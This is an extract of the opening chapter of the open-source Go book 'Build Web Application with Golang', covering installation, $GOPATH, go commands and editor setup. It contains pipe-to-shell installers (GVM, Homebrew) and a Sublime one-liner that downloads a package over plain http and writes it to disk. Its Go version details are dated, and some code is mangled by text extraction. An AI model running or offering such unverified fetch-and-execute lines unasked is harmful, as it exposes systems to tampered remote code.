Build Web Application With Golang en

Table
of Contents
Introduction 1.1
Go Environment Configuration 1.2

Installation 1.2.1
$GOPATH and workspace 1.2.2
Go commands 1.2.3
Go development tools 1.2.4
Summary 1.2.5
Go basic knowledge 1.3

Hello, Go 1.3.1
Go foundation 1.3.2
Control statements and functions 1.3.3
struct 1.3.4
Object-oriented 1.3.5
interface 1.3.6
Concurrency 1.3.7
Summary 1.3.8
Web foundation 1.4
Web working principles 1.4.1
Build a simple web server 1.4.2

How Go works with web 1.4.3
Get into http package 1.4.4
Summary 1.4.5
HTTP Form 1.5
Process form inputs 1.5.1

Validation of inputs 1.5.2
Cross site scripting 1.5.3
Duplicate submissions 1.5.4

File upload 1.5.5
Summary 1.5.6
Database 1.6
database/sql interface 1.6.1
How to use MySQL 1.6.2
How to use SQLite 1.6.3

How to use PostgreSQL 1.6.4
How to use beedb ORM 1.6.5
NOSQL 1.6.6
Summary 1.6.7
Data storage and session 1.7
Session and cookies 1.7.1
2
How to use session in Go 1.7.2
Session storage 1.7.3

Prevent hijack of session 1.7.4
Summary 1.7.5
Text files 1.8
XML 1.8.1
JSON 1.8.2
Regexp 1.8.3
Templates 1.8.4
Files 1.8.5
Strings 1.8.6
Summary 1.8.7
Web services 1.9

Sockets 1.9.1
WebSocket 1.9.2
REST 1.9.3
RPC 1.9.4
Summary 1.9.5
Security and encryption 1.10

CSRF attacks 1.10.1
Filter inputs 1.10.2
XSS attacks 1.10.3

SQL injection 1.10.4
Password storage 1.10.5
Encrypt and decrypt data 1.10.6

Summary 1.10.7
Internationalization and localization 1.11

Time zone 1.11.1
Localized resources 1.11.2
International sites 1.11.3

Summary 1.11.4
Error handling, debugging and testing 1.12
Error handling 1.12.1

Debugging by using GDB 1.12.2
Write test cases 1.12.3
Summary 1.12.4
Deployment and maintenance 1.13
Logs 1.13.1
Errors and crashes 1.13.2

Deployment 1.13.3
Backup and recovery 1.13.4
Summary 1.13.5
3
Build a web framework 1.14
Project program 1.14.1

Customized routers 1.14.2
Design controllers 1.14.3
Logs and configurations 1.14.4
Add, delete and update blogs 1.14.5

Summary 1.14.6
Develop web framework 1.15
Static files 1.15.1

Session 1.15.2
Form 1.15.3
User validation 1.15.4
Multi-language support 1.15.5

pprof 1.15.6
Summary 1.15.7
References 1.16
preface 1.17
4
Introduction
Build Web Application with Golang

Purpose
Because I'm interested in web application development, I used my free time to write this book as an open source version. It
doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in
building web applications.
For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go.
For those of you who are working with C/C++, you will know how the web works.
I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with
more people.
Donate
alipay
AliPay:
English Donate:donate
Community
QQ群：386056972
BBS：http://gocn.io/
Acknowledgments
四月份平民 April Citizen (review code)
洪瑞琦 Hong Ruiqi (review code)
边疆 BianJiang (write the configurations about Vim and Emacs for Go development)
欧林猫 Oling Cat(review code)
吴文磊 Wenlei Wu(provide some pictures)
北极星 Polaris(review whole book)
雨痕 Rain Trail(review chapter 2 and 3)
License
This book is licensed under the CC BY-SA 3.0 License, the code is licensed under a BSD 3-Clause License, unless
otherwise specified.
Get Started
Index
5
Introduction
6
Go Environment Configuration
1 Go Environment Configuration
Welcome to the world of Go, let's start exploring!
Go is a fast-compiled, garbage-collected, concurrent systems programming language. It has the following advantages:
Compiles a large project within a few seconds.

Provides a software development model that is easy to reason about, avoiding most of the problems associated with
C-style header files.
Is a static language that does not have levels in its type system, so users do not need to spend much time dealing with
relations between types. It is more like a lightweight object-oriented language.
Performs garbage collection. It provides basic support for concurrency and communication.
Designed for multi-core computers.
Go is a compiled language. It combines the development efficiency of interpreted or dynamic languages with the security of
static languages. It is going to be the language of choice for modern, multi-core computers with networking. For these
purposes, there are some problems that need to inherently be resolved at the level of the language of choice, such as a
richly expressive lightweight type system, a native concurrency model, and strictly regulated garbage collection. For quite
some time, no packages or tools have emerged that have aimed to solve all of these problems in a pragmatic fashion; thus
was born the motivation for the Go language.
In this chapter, I will show you how to install and configure your own Go development environment.
Links
Directory
Next section: Installation
7
Installation
1.1 Installation
Three ways to install Go

There are many ways to configure the Go development environment on your computer, and you can choose whichever one
you like. The three most common ways are as follows.
Official installation packages.

The Go team provides convenient installation packages in Windows, Linux, Mac and other operating systems.
This is probably the easiest way to get started. You can get the installers from the Golang Download Page.
Install it yourself from source code.
Popular with developers who are familiar with Unix-like systems.
Using third-party tools.
There are many third-party tools and package managers for installing Go, like apt-get in Ubuntu and homebrew for
Mac.
In case you want to install more than one version of Go on a computer, you should take a look at a tool called GVM. It is the
best tool I've seen so far for accomplishing this task, otherwise you'd have to deal with it yourself.
Install from source code

To compile Go 1.5 and upwards, you only need the previous version of Go, as Go has achieved bootstrapping. You only
need Go to compile Go.
To compile Go 1.4 downwards, you will need a C compiler as some parts of Go are still written in Plan 9 C and AT&T
assembler.
On a Mac, if you have installed Xcode, you already have the compiler.
On Unix-like systems, you need to install gcc or a similar compiler. For example, using the package manager apt-get
(included with Ubuntu), one can install the required compilers as follows:
sudo apt-get install gcc libc6-dev
On Windows, you need to install MinGW in order to install gcc. Don't forget to configure your environment variables after
the installation has completed.( Everything that looks like this means it's commented by a translator: If you are using
64-bit Windows, you should install the 64-bit version of MinGW )
At this point, execute the following commands to clone the Go source code and compile it.( It will clone the source code
to your current directory. Switch your work path before you continue. This may take some time. )
git clone https://go.googlesource.com/go

cd go/src
./all.bash
A successful installation will end with the message "ALL TESTS PASSED."
On Windows, you can achieve the same by running all.bat .
If you are using Windows, the installation package will set your environment variables automatically. In Unix-like systems,
you need to set these variables manually as follows. ( If your Go version is greater than 1.0, you don't have to set
$GOBIN, and it will automatically be related to your $GOROOT/bin, which we will talk about in the next section)
8
Installation
export GOROOT=$HOME/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOROOT/bin
If you see the following information on your screen, you're all set.
Figure 1.1 Information after installing from source code
Once you see the usage information of Go, it means you have successfully installed Go on your computer. If it says "no
such command", check that your $PATH environment variable contains the installation path of Go.
Using the standard installation packages

Go has one-click installation packages for every supported operating system. These packages will install Go in
/usr/local/go ( c:\Go in Windows) by default. Of course this can be modified, but you also need to change all the
environment variables manually as I've shown above.
How to check if your operating system is 32-bit or 64-bit?

Our next step depends on your operating system type, so we have to check it before we download the standard installation
packages.
If you are using Windows, press Win+R and then run the command tool. Type the systeminfo command and it will show
you some useful system information. Find the line that says "system type" -if you see "x64-based PC" that means your
operating system is 64-bit, 32-bit otherwise.
I strongly recommend downloading the 64-bit package if you are a Mac user, as Go no longer supports pure 32-bit
processors on Mac OSX.
Linux users can type uname -a in the terminal to see system information. A 64-bit operating system will show the following:
<some description> x86_64 x86_64 x86_64 GNU/Linux

// some machines such as Ubuntu 10.04 will show as following
x86_64 GNU/Linux
32-bit operating systems instead show:
<some description> i686 i686 i386 GNU/Linux
Mac
Go to the download page, choose go1.4.2.darwin-386.pkg (The later version has no 32-bit download.)for 32-bit systems
and go1.8.3.darwin-amd64.pkg for 64-bit systems. Going all the way to the end by clicking "next", ~/go/bin will be added
to your system's $PATH after you finish the installation. Now open the terminal and type go . You should see the same
output shown in figure 1.1.
Linux
Go to the download page, choose go1.8.3.linux-386.tar.gz for 32-bit systems and go1.8.3.linux-amd64.tar.gz for 64-bit
systems. Suppose you want to install Go in the $GO_INSTALL_DIR path. Uncompress the tar.gz to your chosen path using
the command tar zxvf go1.8.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR . Then set your $PATH with the following: export
PATH=$PATH:$GO_INSTALL_DIR/go/bin . Now just open the terminal and type go . You should now see the same output
displayed in figure 1.1.
9
Installation
Windows
Go to the download page, choose go1.8.3.windows-386.msi for 32-bit systems and go1.8.3.windows-amd64.msi for 64-bit
systems. Going all the way to the end by clicking "next", c:/go/bin will be added to path . Now just open a command line
window and type go . You should now see the same output displayed in figure 1.1.
Use third-party tools

GVM
GVM is a Go multi-version control tool developed by a third-party, like rvm for ruby. It's quite easy to use. Install gvm by
typing the following commands in your terminal:
bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)
Then we install Go using the following commands:
gvm install go1.8.3

gvm use go1.8.3
After the process has finished, you're all set.
apt-get
Ubuntu is the most popular desktop release version of Linux. It uses apt-get to manage packages. We can install Go
using the following commands.
sudo add-apt-repository ppa:gophers/go

sudo apt-get update
sudo apt-get install golang-go
wget
wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local
# Go environment
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath
Starting from go 1.8, The GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on
Unix and %USERPROFILE%/go on Windows.
Homebrew
Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands
to install Go.
1. Install Homebrew
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
10
Installation
1. Install Go
brew update && brew upgrade

brew install go
Links
Directory
Previous section: Go environment configuration
Next section: $GOPATH and workspace
11
$GOPATH and workspace
1.2 $GOPATH and workspace
$GOPATH
Go takes a unique approach to manage the code files with the introduction of a $GOPATH directory which contains all the go
code in the machine. Note that this is different from the $GOROOT environment variable which states where go is installed on
the machine. We have to define the $GOPATH variable before using the language, in *nix systems there is a file called
.profile we need to append the below export statement to the file. The concept behind gopath is a novel one, where we
can link to any go code at any instant of time without ambiguity.
Starting from go 1.8, the GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on
Unix and %USERPROFILE%/go on Windows.
In Unix-like systems, the variable should be used like this:
export GOPATH=${HOME}/mygo
In Windows, you need to create a new environment variable called GOPATH, then set its value to c:\mygo ( This value
depends on where your workspace is located )
It's OK to have more than one path (workspace) in $GOPATH , but remember that you have to use : ( ; in Windows) to
break them up. At this point, go get will save the content to your first path in $GOPATH . It is highly recommended to not
have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH , it breaks
everything that the creators were wishing to change in programming with the creation of go language because when you
create a folder inside $GOPATH you will reference your packages as directly as , and this breaks all the applications which
will import your package because the go get won't find your package. Please follow conventions, there is a reason
conventions are created.
In $GOPATH , you must have three folders as follows:
src for source files whose suffix is .go, .c, .g, .s.
pkg for compiled files whose suffix is .a.
bin for executable files
In this book, I use mygo as my only path in $GOPATH .
Package directory
Create package source files and folders like $GOPATH/src/mymath/sqrt.go ( mymath is the package name) ( Author uses
mymath as his package name, and the same name for the folder that contains the package source files)
Every time you create a package, you should create a new folder in the src directory, with the notable exception of main,
for which main folder creation is optional. Folder names are usually the same as the package that you are going to use.
You can have multi-level directories if you want to. For example, if you create the directory
$GOPATH/src/github.com/astaxie/beedb , then the package path would be github.com/astaxie/beedb . The package name will
be the last directory in your path, which is beedb in this case.
Execute following commands. ( Now author goes back to talk examples )
cd $GOPATH/src
mkdir mymath
Create a new file called sqrt.go , type the following content to your file.
12
// Source code of $GOPATH/src/mymath/sqrt.go

package mymath
func Sqrt(x float64) float64 {

z := 0.0
for i := 0; i < 1000; i++ {
z -= (z*z - x) / (2 * x)
}
return z
}
Now my package directory has been created and it's code has been written. I recommend that you use the same name for
your packages as their corresponding directories, and that the directories contain all of the package source files.
Compile packages
We've already created our package above, but how do we compile it for practical purposes? There are two ways to do this.
1. Switch your work path to the directory of your package, then execute the go install command.
2. Execute the above command except with a file name, like go install mymath .
After compiling, we can open the following folder.
cd $GOPATH/pkg/${GOOS}_${GOARCH}
// you can see the file was generated
mymath.a
The file whose suffix is .a is the binary file of our package. How do we use it?
Obviously, we need to create a new application to use it.
Create a new application package called mathapp .
cd $GOPATH/src
mkdir mathapp
cd mathapp
vim main.go
Write the following content to main.go.
//$GOPATH/src/mathapp/main.go source code.

package main
import (
"mymath"
"fmt"
)
func main() {
fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2))
}
To compile this application, you need to switch to the application directory, which in this case is $GOPATH/src/mathapp , then
execute the go install command. Now you should see an executable file called mathapp was generated in the directory
$GOPATH/bin/ . To run this program, use the ./mathapp command. You should see the following content in your terminal.
Hello world. Sqrt(2) = 1.414213562373095
13
Install remote packages

Go has a tool for installing remote packages, which is a command called go get . It supports most open source
communities, including Github, Google Code, BitBucket, and Launchpad.
go get github.com/astaxie/beedb
You can use go get -u … to update your remote packages and it will automatically install all the dependent packages as
well.
This tool will use different version control tools for different open source platforms. For example, git for Github and hg
for Google Code. Therefore, you have to install these version control tools before you use go get .
After executing the above commands, the directory structure should look like following.
$GOPATH
src
|-github.com
|-astaxie
|-beedb
pkg
|--${GOOS}_${GOARCH}
|-github.com
|-astaxie
|-beedb.a
Actually, go get clones source code to the $GOPATH/src of the local file system, then executes go install .
You can use remote packages in the same way that we use local packages.
import "github.com/astaxie/beedb"
Directory complete structure

If you've followed all of the above steps, your directory structure should now look like the following.
bin/
mathapp
pkg/
${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64
mymath.a
github.com/
astaxie/
beedb.a
src/
mathapp
main.go
mymath/
sqrt.go
github.com/
astaxie/
beedb/
beedb.go
util.go
Now you are able to see the directory structure clearly; bin contains executable files, pkg contains compiled files and
src contains package source files.
(The format of environment variables in Windows is %GOPATH% , however this book mainly follows the Unix-style, so
Windows users need to replace these yourself.)
14
Links
Directory
Previous section: Installation
Next section: Go commands
15
Go commands
1.3 Go commands
Go commands
The Go language comes with a complete set of command operation tools. You can execute the go command on the
terminal to see them:
Figure 1.3 Go command displays detailed information
These are all useful for us. Let's see how to use some of them.
go build
This command is for compiling tests. It will compile packages and dependencies if it's necessary.
If the package is not the main package such as mymath in section 1.2, nothing will be generated after you execute
go build . If you need the package file .a in $GOPATH/pkg , use go install instead.
If the package is the main package, it will generate an executable file in the same folder. If you want the file to be
generated in $GOPATH/bin , use go install or go build -o ${PATH_HERE}/a.exe.
If there are many files in the folder, but you just want to compile one of them, you should append the file name after go
build . For example, go build a.go . go build will compile all the files in the folder.
You can also assign the name of the file that will be generated. For instance, in the mathapp project (in section 1.2),
using go build -o astaxie.exe will generate astaxie.exe instead of mathapp.exe . The default name is your folder
name (non-main package) or the first source file name (main package).
(According to The Go Programming Language Specification, package names should be the name after the word package
in the first line of your source files. It doesn't have to be the same as the folder name, and the executable file name will be
your folder name by default.)
go build ignores files whose names start with _ or . .
If you want to have different source files for every operating system, you can name files with the system name as a
suffix. Suppose there are some source files for loading arrays. They could be named as follows:
array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go
go build chooses the one that's associated with your operating system. For example, it only compiles array_linux.go in
Linux systems, and ignores all the others.
go clean
This command is for cleaning files that are generated by compilers, including the following files:
_obj/ // old directory of object, left by Makefiles

_test/ // old directory of test, left by Makefiles
_testmain.go // old directory of gotest, left by Makefiles
test.out // old directory of test, left by Makefiles
build.out // old directory of test, left by Makefiles
*.[568ao] // object files, left by Makefiles
DIR(.exe) // generated by go build

DIR.test(.exe) // generated by go test -c
MAINFILE(.exe) // generated by go build MAINFILE.go
16
Go commands
I usually use this command to clean up my files before I upload my project to Github. These are useful for local tests, but
useless for version control.
go fmt and gofmt

The people who are working with C/C++ should know that people are always arguing about which code style is better:
K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only
be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you
don't have to remember these rules. go fmt does this job for you. Just execute the command go fmt <File name>.go in
terminal. I don't use this command very much because IDEs usually execute this command automatically when you save
source files. I will talk more about IDEs in the next section.
go fmt is just an alias, which runs the command 'gofmt -l -w' on the packages named by the import paths.
We usually use gofmt -w instead of go fmt . The latter will not rewrite your source files after formatting code. gofmt -w
src formats the whole project.
go get
This command is for getting remote packages. So far, it supports BitBucket, Github, Google Code and Launchpad. There
are actually two things that happen after we execute this command. The first thing is that Go downloads the source code,
then executes go install . Before you use this command, make sure you have installed all of the related tools.
BitBucket (Mercurial Git)

Github (git)
Google Code (Git, Mercurial, Subversion)
Launchpad (Bazaar)
In order to use this command, you have to install these tools correctly. Don't forget to update the $PATH variable. By the
way, it also supports customized domain names. Use go help importpath for more details about this.
go install
This command compiles all packages and generates files, then moves them to $GOPATH/pkg or $GOPATH/bin .
go test
This command loads all files whose name include *_test.go and generates test files, then prints information that looks like
the following.
ok archive/tar 0.011s
FAIL archive/zip 0.022s
ok compress/gzip 0.033s
...
It tests all your test files by default. Use command go help testflag for more details.
godoc
Many people say that we don't need any third-party documentation for programming in Go (actually I've made a CHM
already). Go has a powerful tool to manage documentation natively.
17
Go commands
So how do we look up package information in documentation? For instance, if you want to get more details about the
builtin package, use the godoc builtin command. Similarly, use the godoc net/http command to look up the http
package documentation. If you want to see more details about specific functions, use the godoc fmt Printf and godoc -
src fmt Printf commands to view the source code.
Execute the godoc -http=:8080 command, then open 127.0.0.1:8080 in your browser. You should see a localized
golang.org. It can not only show the standard packages' information, but also packages in your $GOPATH/pkg . It's great for
people who are suffering from the Great Firewall of China.
Other commands
Go provides more commands than those we've just talked about.
go fix // upgrade code from an old version before go1 to a new version after go1
go version // get information about your version of Go
go env // view environment variables about Go
go list // list all installed packages
go run // compile temporary files and run the application
There are also more details about the commands that I've talked about. You can use go help <command> to look them up.
Links
Directory
Previous section: $GOPATH and workspace
Next section: Go development tools
18
Go development tools
In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities
such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you
should not be very different, even if you are not using the same operating system.
LiteIDE
LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc.
Figure 1.4 Main panel of LiteIDE
LiteIDE features.
Cross-platform
Windows
Linux
Mac OS
Cross-compile
Manage multiple compile environments
Supports cross-compilation of Go
Project management standard
Documentation view based on $GOPATH
Compilation system based on $GOPATH
API documentation index based on $GOPATH
Go source code editor
Code outlining
Full support of gocode
Go documentation view and API index
View code expression using F1
Function declaration jump using F2
Gdb support
Auto-format with gofmt
Others
Multi-language
Plugin system
Text editor themes
Syntax support based on Kate
intelligent completion based on full-text
Customized shortcuts
Markdown support
Real-time preview
Customized CSS
Export HTML and PDF
Convert and merge to HTML and PDF
LiteIDE installation
Install LiteIDE
Download page
19
Source code
You need to install Go first, then download the version appropriate for your operating system. Decompress the
package to directly use it.
Install gocode
You have to install gocode in order to use intelligent completion
go get -u github.com/nsf/gocode
Compilation environment
Switch configuration in LiteIDE to suit your operating system. In Windows and using the 64-bit version of Go, you
should choose win64 as the configuration environment in the tool bar. Then, choose Options , find LiteEnv in the left
list and open file win64.env in the right list.
GOROOT=c:\go
GOBIN=
GOARCH=amd64
GOOS=windows
CGO_ENABLED=1
PATH=%GOBIN%;%GOROOT%\bin;%PATH%
。。。
Replace GOROOT=c:\go to your Go installation path, save it. If you have MinGW64, add c:\MinGW64\bin to your path
environment variable for cgo support.
In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar.
Then, choose Options , find LiteEnv in the left list and open the linux64.env file in the right list.
GOROOT=$HOME/go
GOBIN=
GOARCH=amd64
GOOS=linux
CGO_ENABLED=1
PATH=$GOBIN:$GOROOT/bin:$PATH
。。。
Replace GOROOT=$HOME/go to your Go installation path, save it.
$GOPATH $GOPATH is the path that contains a list of projects. Open the command tool (or press Ctrl+` in LiteIDE),
then type go help gopath for more details. It's very easy to view and change $GOPATH in LiteIDE. Follow View -
Setup GOPATH to view and change these values.
Sublime Text
Here I'm going to introduce you the Sublime Text 3 (Sublime for short) + GoSublime + gocode. Let me explain why.
Intelligent completion
Figure 1.5 Sublime intelligent completion
Auto-format source files

Project management
20
Figure 1.6 Sublime project management
Syntax highlight
Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a
license, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you
really enjoy using it, please purchase a copy of it and support its continued development!
First, download the version of Sublime suitable for your operating system.
1. Press Ctrl+` , open the command tool and input the following commands.
Applicable to Sublime Text 3：
import urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.i

nstall_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urlli
b.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read())
Applicable to Sublime Text 2：
import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos

.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,
pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Subl
ime Text to finish installation')
Restart Sublime Text when the installation has finished. You should then find a `Package Control` option in the "Pref
erences" menu.
![](images/1.4.sublime3.png?raw=true)
Figure 1.7 Sublime Package Control
1. To install GoSublime, SidebarEnhancements and Go Build, press Ctrl+Shift+p to open Package Control, then type
pcip (short for "Package Control: Install Package").
Figure 1.8 Sublime Install Packages
Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing
SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation.
2. To verify that the installation is successful, open Sublime, then open the main.go file to see if it has the proper syntax
highlighting. Type import to see if code completion prompts appear. After typing import "fmt" , type fmt. anywhere
after the import declaration to see whether or not intelligent code completion for functions was successfully enabled.
If everything is fine, you're all set.
If not, check your $PATH again. Open a terminal, type gocode . If it does not run, your $PATH was not configured
correctly.
Vim
Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent
completion, compilation and jumping to errors.
vim-go is vim above an open-source go language using the most extensive development environment plug-ins
The plugin address：github.com/fatih/vim-go
21
Vim plugin management are the mainstream Pathogen and Vundle ，But the aspects thereof are different. Pathogen is to
solve each plug-in after the installation of files scattered to multiple directories and poor management of the existence.
Vundle is to solve the automatic search and download plug-ins exist. These two plug-ins can be used simultaneously.
1.Install Vundle
mkdir ~/.vim/bundle
git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim
Edit .vimrc，Vundle the relevant configuration will be placed in the beginning(Refer to the Vundle documentation for details)
set nocompatible " be iMproved, required

filetype off " required
" set the runtime path to include Vundle and initialize

set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
" let Vundle manage Vundle, required

Plugin 'gmarik/Vundle.vim'
" All of your Plugins must be added before the following line
call vundle#end() " required
filetype plugin indent on " required
2.Install Vim-go
Edit ~/.vimrc，Add a line between vundle #begin and vundle #end：
Plugin 'fatih/vim-go'
Executed within Vim: PluginInstall
3.Install YCM(Your Complete Me) to AutoComplete Add a line to ~ / .vimrc:
Plugin 'Valloric/YouCompleteMe'
Executed within Vim: PluginInstall
Figure 1.8 Vim intelligent completion for Go
1. Syntax highlighting for Go
cp -r $GOROOT/misc/vim/* ~/.vim/
2. Enabling syntax highlighting
filetype plugin indent on

syntax on
3. Install gocode
gocode will be installed in $GOBIN as default
22
4. Configure gocode
~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.sh
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
Explanation of gocode configuration:
propose-builtins: specifies whether or not to open intelligent completion; false by default. lib-path: gocode only
searches for packages in $GOPATH/pkg/$GOOS_$GOARCH and $GOROOT/pkg/$GOOS_$GOARCH . This setting can be used to add
additional paths.
5. Congratulations! Try :e main.go to experience the world of Go!
Emacs
Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE.
Figure 1.10 Emacs main panel of Go editor
1. Syntax highlighting
cp $GOROOT/misc/emacs/* ~/.emacs.d/
2. Install gocode
gocode will be installed in $GOBIN as default
3. Configure gocode
~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
4. Install Auto Completion Download and uncompress
~ make install DIR=$HOME/.emacs.d/auto-complete
Configure ~/.emacs file
23
;;auto-complete
(require 'auto-complete-config)
(add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict")
(ac-config-default)
(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline)
(local-set-key "." 'semantic-complete-self-insert)
(local-set-key ">" 'semantic-complete-self-insert)
Follow this link for more details.
5. Configure .emacs
;; golang mode
(require 'go-mode-load)
(require 'go-autocomplete)
;; speedbar
;; (speedbar 1)
(speedbar-add-supported-extension ".go")
(add-hook
'go-mode-hook
'(lambda ()
;; gocode
(auto-complete-mode 1)
(setq ac-sources '(ac-source-go))
;; Imenu & Speedbar
(setq imenu-generic-expression
'(("type" "^type *\$[^ \t\n\r\f]*\$" 1)
("func" "^func *\$.*\$ {" 1)))
(imenu-add-to-menubar "Index")
;; Outline mode
(make-local-variable 'outline-regexp)
(setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")
(outline-minor-mode 1)
(local-set-key "\M-a" 'outline-previous-visible-heading)
(local-set-key "\M-e" 'outline-next-visible-heading)
;; Menu bar
(require 'easymenu)
(defconst go-hooked-menu
'("Go tools"
["Go run buffer" go t]
["Go reformat buffer" go-fmt-buffer t]
["Go check buffer" go-fix-buffer t]))
(easy-menu-define
go-added-menu
(current-local-map)
"Go tools"
go-hooked-menu)
;; Other
(setq show-trailing-whitespace t)
))
;; helper function
(defun go ()
"run current buffer"
(interactive)
(compile (concat "go run " (buffer-file-name))))
;; helper function
(defun go-fmt-buffer ()
"run gofmt on current buffer"
(interactive)
(if buffer-read-only
(progn
(ding)
(message "Buffer is read only"))
(let ((p (line-number-at-pos))
(filename (buffer-file-name))
(old-max-mini-window-height max-mini-window-height))
(show-all)
(if (get-buffer "*Go Reformat Errors*")
24
(progn
(delete-windows-on "*Go Reformat Errors*")
(kill-buffer "*Go Reformat Errors*")))
(setq max-mini-window-height 1)
(if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Refor
mat Errors*" t))
(progn
(erase-buffer)
(insert-buffer-substring "*Go Reformat Output*")
(goto-char (point-min))
(forward-line (1- p)))
(with-current-buffer "*Go Reformat Errors*"
(progn
(while (re-search-forward "<standard input>" nil t)
(replace-match filename))
(compilation-mode))))
(setq max-mini-window-height old-max-mini-window-height)
(delete-windows-on "*Go Reformat Output*")
(kill-buffer "*Go Reformat Output*"))))
;; helper function
(defun go-fix-buffer ()
"run gofix on current buffer"
(interactive)
(show-all)
(shell-command-on-region (point-min) (point-max) "go tool fix -diff"))
6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line ;;(speedbar 1)
to enable this feature, or you can use it through M-x speedbar .
Eclipse
Eclipse is also a great development tool. I'll show you how to use it to write Go programs.
Figure 1.1 Eclipse main panel for editing Go
1. Download and install Eclipse

2. Download goclipse http://code.google.com/p/goclipse/wiki/InstallationInstructions
3. Download gocode
gocode in Github.
https://github.com/nsf/gocode
You need to install git in Windows, usually we use msysgit
Install gocode in the command tool
You can install from source code if you like.
4. Download and install MinGW

5. Configure plugins.
Windows->Preferences->Go
(1).Configure Go compiler
25
Figure 1.12 Go Setting in Eclipse
(2).Configure gocode(optional), set gocode path to where the gocode.exe is.
Figure 1.13 gocode Setting
(3).Configure gdb(optional), set gdb path to where the gdb.exe is.
Figure 1.14 gdb Setting
6. Check the installation
Create a new Go project and hello.go file as following.
Figure 1.15 Create a new project and file
Test installation as follows.(you need to type command in console in Eclipse)
Figure 1.16 Test Go program in Eclipse
IntelliJ IDEA
People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code
completion, implemented by a plugin.
1. Download IDEA, there is no difference between the Ultimate and Community editions
2. Install the Go plugin. Choose File - Setting - Plugins , then click Browser repo .
3. Search golang , double click download and install and wait for the download to complete.
Click Apply , then restart.
4. Now you can create a Go project.
Input the position of your Go sdk in the next step -basically it's your $GOROOT.
( See a blog post for setup and use IntelliJ IDEA with Go step by step )
Visual Studio VSCode

This is an awesome text editor released as open source cross platform my Microsoft which takes the development
experience to a whole new level, https://code.visualstudio.com/. It has everything a modern text editor is expected to have
and despite being based on the same backend that atom.io is based, it is very fast.
It works with Windows, Mac, Linux. It has go package built, it provides code linting.
26
Atom
Atom is an awesome text editor released as open source cross platform, built on Electron , and based on everything we
love about our favorite editors. We designed it to be deeply customizable, but still approachable using the default
configuration.
Download: https://atom.io/
Gogland
Gogland is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go
development.
The official version is not yet released。
Download:https://www.jetbrains.com/go/
Links
Directory
Previous section: Go commands
Next section: Summary
27
Summary
1.5 Summary
In this chapter, we talked about how to install Go using three different methods including from source code, the standard
package and via third-party tools. Then we showed you how to configure the Go development environment, mainly
covering how to setup your $GOPATH . After that, we introduced some steps for compiling and deploying Go programs. We
then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful
tools to develop Go programs such as LiteIDE, Sublime Text, VSCode, Atom, Goglang, Vim, Emacs, Eclipse, IntelliJ IDEA,
etc. You can choose any one you like exploring the world of Go.
Links
Directory
Previous section: Go development tools
Next chapter: Go basic knowledge
28
Go basic knowledge
2 Go basic knowledge
Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much
faster than other C-family languages. It has only 25 keywords... even less than the 26 letters of the English alphabet! Let's
take a look at these keywords before we get started.
break default func interface select

case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
In this chapter, I'm going to teach you some basic Go knowledge. You will find out how concise the Go programming
language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter,
you'll be familiar with the above keywords.
Links
Directory
